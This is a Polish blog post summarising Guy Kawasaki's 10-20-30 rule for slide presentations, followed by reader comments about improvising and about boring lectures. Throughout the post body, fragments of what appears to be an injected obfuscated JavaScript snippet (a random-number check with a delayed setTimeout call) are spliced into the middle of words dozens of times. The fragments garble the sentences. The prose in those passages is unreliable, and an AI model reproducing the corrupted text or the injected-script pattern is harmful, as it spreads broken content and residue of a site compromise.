Odom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to trzy pytania, jakie musi zadać sobie mówca przygodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towując prezentację:
1. Ile slajdów przygodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tować
2. Ile tekstu na nich umieścić
3. Ile czasu ma trwać prezentacja
Guy Kawasaki, znany mówca, audom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor książek i blogger ma na dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to odpowiedź, która może Cię zaskoczyć 🙂
Odom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jego zasada 10-20-30 gdzie odpowiednio
10 slajdów dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to liczba obrazów w prezentacji (bez względu na dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ile masz do powiedzenia!)
20 minut dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to maksymalny czas wystąpienia
30 punktów dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to minimalna wielkość czcionki, która powinna być użyta na slajdach
Możesz obejrzeć film, na którym Guy Kawasaki wyjaśnia swoją zasadę10-20-30. Nawet jeśli nie znasz dobrze angielskiego dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to dużo zrozumiesz bo mówi wyraźnie i powoli. Wardom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to zobaczyć jak przemawia.
Jeśli interesuje Cię temat power pointa przeczytaj mój artykuł o zasdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tosowaniu czarnego slajdu w prezentacjach power point.
Na zakończenie Guy podaje zabawny algorytm do obliczenia wielkości czcionki, którą możemy zasdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tosować w naszej prezentacji w Power Point. Wygląda on następująco:
1. ustalamy wiek najstarszej osoby na widowni
2. dzielimy wiek na dwa
3. wynik jest wielkością optymalnej czcionki dla Twojego audydom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torium!
Tej zasady nie powinniśmy sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tosować gdy przemawiamy do nasdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolatków 🙂
![]() |
Wpis Ci się podobał?
Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!
Moim zdaniem warta odnotowania jest również zasada “znaj treść i przebieg swojej prezentacji”, czyli nie pisz na slajdach wszystkiego, co chcesz powiedzieć. Inaczej będziesz traktowany przez słuchaczy jako “bozo” (frajer?) czytający własny tekst. Przecież każdy potrafi przeczytać w myślach szybciej niż ktoś inny to powiedzieć. Miałem na studiach prowadzony wykład z jednego przedmiotu w ten sposób. Choć materiał był ciekawy i dobrze opracowany, to jednak czytanie słowo po słowie przez prowadzącego przez 1,5 godz. powodowało, że było to bardzo, bardzo nudne.
Tomku,
właśnie zastosowanie dużej czcionki na slajdach powoduje to, że nie ma miejsca na napisanie słowo w słowo tego co chcemy powiedzieć. Ale rzeczywiście takie podejście do tworzenia slajdów wymaga od prezentera/mówcy bardzo dobrego przygotowania. Musi on wiedzieć dokładnie co ma powiedzieć. Tu nie ma miejsca na improwizacje albo podejście “jakoś to będzie”.
Co do wykładów na naszych uczelniach to niestety z moich czasów (a studiowałem na Politechnice Gdańskiej na przełomie lat osiemdziesiątych i dziewięćdziesiątych) też pamiętam wykłady prowadzone w ten nudny sposób.
Może sposobem na wyeliminowanie takich wykładowców – nudziarzy byłoby uzależnienie zarobków (oczywiście nie w całości) od liczby uczestników na wykładach i ocen studentów. Naturalnie składniki takiej oceny wykładowcy muszą być bardziej złożone ale jest to sposób na wymuszenie ciekawszych, inspirujących zajęć.
pozdrawiam!
“Tu nie ma miejsca na improwizacje…”
Nie zgadzam się. Wielokroć robiłem prezentację. Oczywiście koledzy podpierali się szybkim algorytmem generowania prezentacji metodą Copy’ego Paste’a. Jednak ja zawsze dawałem najważniejsze punkty, czasami miałem konspekt na kartce, zawsze improwizowałem. Dlaczego dla mnie improwizacja jest dobra, a przygotowanie tekstu złe:
1. Nie chce mi się pisać tego, co mam powiedzieć.
2. Znam temat, lubię go.
3. Jak coś opowiadam znajomym, to nie potrzebuję kartek, ani przygotowania.
4. Jak się czegoś wyuczę, to potem będzie: “Tam było ‘lub’ czy ‘albo’?”.
5. Nie lubię zapamiętywać, za to lubię rozumieć.
6. Uwielbiam gadać do ludzi i nie czuję wielkiej różnicy między mówieniem do człowieka i do tuzina mendli person.
Jeśli tak sobie radzisz, to super! Najważniejsze, że cel, czyli dobra prezentacja, osiągnięty. Jednemu odpowiada przygotowanie całego tekstu, innemu podpunktów a jeszcze inny “jedzie” z głowy 😉
pozdrawiam!
Do filmów na YouTube można dodać swoje tłumaczenie w tekście:
http://www.google.com/support/youtube/bin/answer.py?hl=en&answer=100077
PS
Jest to tak proste, że tu jakieś dziecko (trochę nieporęcznie) tłumaczy 🙂
Cyprianie,
dzięki za info.
zawsze zastanawia mnie skąd Ci wszyscy ludzie znaczy internauci znają te wszystkie sztuczki… Jak wpisuję w YT “tips and tricks” to nie mogę wyjść z podziwu. Dla człowieka po 40-tce tak jak ja jest to zupełnie niezrozumiałe. A tu jeszcze dziecko robi tutorial!
szaleństwo jakieś!
pozdrawiam
PS
Zapomniałem o tym dziecku 🙂
Link do filmiku:
http://www.youtube.com/watch?v=a0LFWoWglTs